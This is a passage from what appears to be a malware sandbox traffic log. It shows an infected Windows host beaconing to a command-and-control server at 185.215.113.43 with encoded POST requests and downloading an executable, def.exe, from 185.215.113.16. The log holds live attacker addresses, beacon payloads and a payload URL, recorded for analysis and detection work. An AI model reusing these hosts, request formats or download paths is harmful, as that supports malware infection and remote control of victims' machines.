ae 99 3a d7 2e c7 26 39 e2 c2 7f b9 b2 7e 62 1c 47 6c b6 ae bc 71 7f 50 27 6b 43 be fe 48 42 f5 e3 fa 01 af b7 63 50 0f b8 82 b6 cf 6a bb 24 e3 ed 05 f5 66 62 d1 48 6a bd 4f e8 ec f8 1d [TRUNCATED] Data Ascii: --------------------------inHBHZkXJPaY9RvOQvZVpPContent-Disposition: form-data; name="file"; filename="Cahocun.bin"Content-Type: application/octet-stream:ELS#acO\"abaFYwu2G1Jp/cA!v+{"64_\|\|:.&9~bGlqP'kCHBcPj$fbHjO72$4]5K`<5hL)OaV<+-(^\|s^L)4d6TLLg_Xq!v0^mB bz~jopqhv.KN"0V68d$o]l5dnxMIloCAJ)E>L,Nf8RZaaZLOxrzqPRui#Hr9@$tMtnwyo`?o!+8l\d[Jd MyJgZ:T]:3x0y3X 9:y?)/xB=Ba&2/+wDNZ'c$jb<Y:rF}s/_`"T\NARy__D,HwcWNV!Jw~~O:zpHZ),%=8.j\GpV 9p):E0>)z#LU 2A=h=bWbJp)J$ ZmG=DwZ8h&rv^ [TRUNCATED]
Nov 15, 2024 16:18:11.978399038 CET	4944	OUT	Data Raw: f1 be 5d 59 63 07 e7 40 6f b4 19 1c 8f d7 a6 01 d7 aa 11 d7 76 27 03 15 c9 ed 26 89 6f 16 4f ca c2 bb 57 28 a5 a7 88 9f 56 62 18 a5 c2 da 1c 67 84 cb 40 b6 ee 87 08 7a 75 da 19 1c 03 c3 a1 fb 94 9f 71 05 7b 5c 2f 14 1e 44 7f 91 99 06 81 07 8c 37 Data Ascii: ]Yc@ov'&oOW(Vbg@zuq{\/D7hPU;'o5DyM95f{"D<h:Q2"/W3 STDb)B&`i% *7y)\|M"m<NO(u6B![MQ7
Nov 15, 2024 16:18:11.978420019 CET	2472	OUT	Data Raw: 71 12 46 e1 43 45 61 e7 03 30 d0 f9 8c aa 82 a8 c2 e3 fe a9 1a 2f fe 83 0a fe 07 81 94 f4 17 9b 48 44 c3 51 76 3d 8d 1d 98 48 69 28 97 59 ca d4 8f 52 24 c7 2f 15 a4 f1 c5 e1 83 60 a5 53 36 84 dc 7f 14 21 19 eb 72 69 c8 ec ba 6c e8 11 5f d0 98 5e Data Ascii: qFCEa0/HDQv=Hi(YR$/`S6!ril_^M9I'%1c+s/=$~LO<"C%Z\0J{MzCtAWmI0oXcU]emO}G$dX@Qif6E*H{:?
Nov 15, 2024 16:18:11.978445053 CET	4944	OUT	Data Raw: a4 f3 2e d8 c5 e6 e6 2d cd 2c 56 fc ad 74 2d fe d8 21 c9 ef d5 c1 72 9a dd aa 85 8d 8a 2f df 97 a1 3a dd 25 fa a4 22 21 cc 71 b3 fa 66 88 d0 1f 6e ba bb 56 bb 8c c5 1d c5 33 39 c4 94 a3 ff 33 47 50 39 68 f1 dd 3b b2 51 a5 0b c5 a6 69 a9 6b 2d 74 Data Ascii: .-,Vt-!r/:%"!qfnV393GP9h;Qik-t9~^U)\|'fVh)z37Jg.dWC3g}\e'r$;43]5v\|Brb-nFN[l`Pka(yqUaOxHMk&*9A:2A+loS.[
Nov 15, 2024 16:18:11.978456974 CET	2472	OUT	Data Raw: 6f 45 19 7f a2 a4 cb a2 b5 47 4c 00 d5 0e 22 5c 28 8c 59 4c e0 43 32 41 b0 35 0e be ed 28 0b 44 e6 04 a0 38 58 54 8b d5 28 6d 68 5f d8 75 a3 09 3c 41 00 33 ec c9 03 43 4e fa 71 01 e0 f6 57 d9 bd 72 0f 54 ab 71 0f bb 5d d0 0c b6 f3 70 54 40 67 43 Data Ascii: oEGL"\(YLC2A5(D8XT(mh_u<A3CNqWrTq]pT@gCRKT^<I\|-}"j%}WMd-/!E,t1McKY7"?u`"2\LThSw`G5{p4/P>cX7r\:~f%MS?
Nov 15, 2024 16:18:11.978473902 CET	2472	OUT	Data Raw: e2 ff 85 21 17 98 4c b2 a1 46 f6 90 35 9b be 54 88 ad 2e f9 cc 01 d5 b7 c3 c4 72 38 28 bd 48 2d 87 76 6e b8 65 65 05 4a 83 f1 fe b4 fd b1 bd 38 4a 46 97 0e 6d 41 05 7a f2 58 43 86 af 8b 24 aa cb 2f d4 29 9f 15 e0 ea 96 56 8c 33 db d1 ac f8 56 c0 Data Ascii: !LF5T.r8(H-vneeJ8JFmAzXC$/)V3VNif=\|!Cc3Z:POhTgo'4+Lx%/G&xp_,*@9(Y'@JJ`00~\|%SQ!CER,{^}DI5HwO
Nov 15, 2024 16:18:11.978498936 CET	2472	OUT	Data Raw: a1 34 2f 91 f3 36 93 b5 f4 93 b8 bb 48 2a 54 ad 6a 6f 6d 64 28 8d 8d 35 ac 32 c1 75 f5 51 df da fc a3 8c cb b2 ea 3b 77 8e ad 45 77 b4 d0 3a fd e3 32 52 43 bc cc 8d 16 aa fc 51 73 5e 89 5b 33 bc 63 ed e0 82 40 bd e6 3b 8f 08 24 42 da d1 51 aa c6 Data Ascii: 4/6HTjomd(52uQ;wEw:2RCQs^[3c@;$BQE{'!_u_CF+{SHtt7"zWngJ!cH_G\|@/Ro-rP$\;P_tEGY3!1x#8N;4#}<_]
Nov 15, 2024 16:18:11.978607893 CET	2472	OUT	Data Raw: ef 2d 79 77 a1 50 48 7d ac 67 b3 fe 05 f8 9e 6c a8 36 ad 6e d3 6b 7f 1c 87 f6 0c cf ed 14 28 9c 40 7a 49 9e af 1b da 72 4a 81 26 42 4c 51 b5 6f 54 39 fa 77 ae 89 df 8a 7f ab fc 8c fd 78 45 50 a2 84 7f df a5 02 a3 05 2e 67 ad be 6b d6 a3 bc 05 e8 Data Ascii: -ywPH}gl6nk(@zIrJ&BLQoT9wxEP.gknV=Zdt>B; X.MXk\$R[?T9cO;{R{i^~e]Fvj?raTO@mCb<Piv~_k
Nov 15, 2024 16:18:11.978741884 CET	2472	OUT	Data Raw: c2 97 0f 11 1d ef 5e 64 c6 52 94 77 f0 67 85 ca 83 38 34 14 43 f5 e6 be d9 b8 59 1f 7e 98 e8 9b aa 01 8d f1 94 3f d1 de bb a6 05 12 47 87 cc e0 92 f0 9d 13 39 4c e4 dd fa 4a 3d 5c 30 28 f9 61 35 14 6f 2c d8 14 cd d3 3f 69 8e fe d4 0e c0 3c 98 d4 Data Ascii: ^dRwg84CY~?G9LJ=\0(a5o,?i<7NU?VN8YnA#4T5z34f1::RHA]ftCK{_@\|em$Oz.I>&KB\@Ji4}&X{E4!EIoPBP
Nov 15, 2024 16:18:11.983371973 CET	2472	OUT	Data Raw: 4c 22 f3 50 25 64 20 d8 ea 90 57 6e 8d 1f c4 5a 75 fa 53 dd 60 3d 58 39 6b de 40 2e 5c 87 fe 7a e6 b2 f4 d1 f0 4f cc 39 5a 90 8d 3f 7e e3 b9 f7 29 31 50 2c 23 e0 29 6c 5c 49 d2 25 6b e7 cd 1e 26 f8 85 62 8e ba 25 af a8 e6 9c 6e a2 4b bc df 6d 91 Data Ascii: L"P%d WnZuS`=X9k@.\zO9Z?~)1P,#)l\I%k&b%nKmbc]45.UQOx2dY F_\|9oG!^r+{uiQ]%/e"\;TEA;=X3&DwR$~d<^pU5Mro%i
Nov 15, 2024 16:18:11.983388901 CET	2472	OUT	Data Raw: e0 4b 67 bf dd e1 25 74 41 73 f3 27 33 95 ad 29 5a d0 66 e3 23 8c e9 5b b3 29 f1 7f 15 48 bb e4 9e 7f 07 e7 29 7f 68 79 51 15 96 68 8e 03 f0 9c 22 51 b7 8e 72 e9 d0 88 d0 ae 87 e3 ed 08 88 5b c3 63 ab 08 04 dc 59 ae b9 df c4 0f 82 e3 01 7e 11 1f Data Ascii: Kg%tAs'3)Zf#[)H)hyQh"Qr[cY~dtJ#F+OKQ!*D76C.&`s?GI0\|'kIooY :.p{du_6/1}[b})(eJ]>Ft^j]mYF;UFxQD!
Nov 15, 2024 16:18:13.144210100 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Fri, 15 Nov 2024 15:18:12 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50122	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:13.921020985 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:14.842160940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50125	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:16.477222919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:17.401083946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50126	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:18.919354916 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:19.834141970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50129	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:21.480851889 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:22.389734983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50132	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:23.906434059 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:24.822283030 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50135	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:26.450804949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:27.366296053 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50138	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:28.885078907 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:29.822261095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50141	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:31.451247931 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:32.367573023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50143	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:33.886995077 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:34.798767090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50152	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:36.418401957 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:37.374895096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50154	185.215.113.16	80	6672	C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:38.204905987 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 15, 2024 16:18:39.112658978 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:38 GMT Content-Type: application/octet-stream Content-Length: 2848768 Last-Modified: Fri, 15 Nov 2024 15:04:06 GMT Connection: keep-alive ETag: "673762e6-2b7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 3e 34 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,>4,`Ui` @ @.rsrc`2@.idata 8@cqrjeytt ++:@ftifzosq +P+@.taggant@+"V+@
Nov 15, 2024 16:18:39.112704992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:18:39.112721920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:18:39.112740040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:18:39.112756014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:18:39.112771988 CET	960	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:18:39.112787962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:18:39.112802982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 53lGo+kbLlzmogARu#Mx7FiHUff!.'lnNMPOehi
Nov 15, 2024 16:18:39.112818956 CET	1236	IN	Data Raw: 53 80 94 85 a2 f4 c1 9d d3 0b df 92 1e 75 2e bd 1d 3c 01 4e da 3b 67 67 e3 54 a3 27 ed e2 b8 6b ef 09 8d ea c3 13 8c 93 8c db 10 d3 d4 48 6c c1 76 8a 8c ed d6 28 8d 5f bc 53 a6 c2 68 23 52 e5 c0 3e 56 67 e7 26 81 cf 2c 17 95 37 f5 d9 d8 a6 5d 6c Data Ascii: Su.<N;ggT'kHlv(_Sh#R>Vg&,7]l41MVvS>_?f(kiW%Ebw{bcqkoFV&uDtRbbV{gVF[bGApc%#/7\dai
Nov 15, 2024 16:18:39.112837076 CET	1236	IN	Data Raw: 30 52 7e 3b 83 6b 6e cd c0 e5 67 74 60 bc 70 cb ec 5d 9e dd b5 93 76 7c a9 94 44 ee 0b 83 57 a9 bc 08 61 b0 e0 50 e7 86 23 db c6 da 94 38 86 8e eb 63 56 18 97 99 38 8e e9 63 6e 68 6f a1 c3 d3 ea 1d 65 c2 da 80 21 65 38 02 f3 c6 5c 94 95 65 93 01 Data Ascii: 0R~;kngt`p]v\|DWaP#8cV8cnhoe!e8\ecf5mTwl/nQm9h^wv~vvx(eTk?}pFrsNGci'{S`A"PP@{}
Nov 15, 2024 16:18:39.117996931 CET	1236	IN	Data Raw: cf 76 d8 0a e7 06 98 d9 2e 83 12 93 32 80 7e 55 e7 21 73 63 35 3d 66 1c 82 42 48 84 f1 f6 b2 f9 36 e9 40 c6 6a ce 51 23 e6 7b 88 ae da f6 09 c9 20 fd 04 d5 4f 54 0d 7f f0 89 af a0 4a d0 85 70 0a 1a f1 d7 3e 13 a6 be fd 49 8e 6c 0f fb ff 23 ec de Data Ascii: v.2~U!sc5=fBH6@jQ#{ OTJp>Il#`Ls_cjD>cf&9c.0^}`PlA%ri-Z)@ZCu.XZUoDzmtnoV-_jwh^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50155	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:38.930042982 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
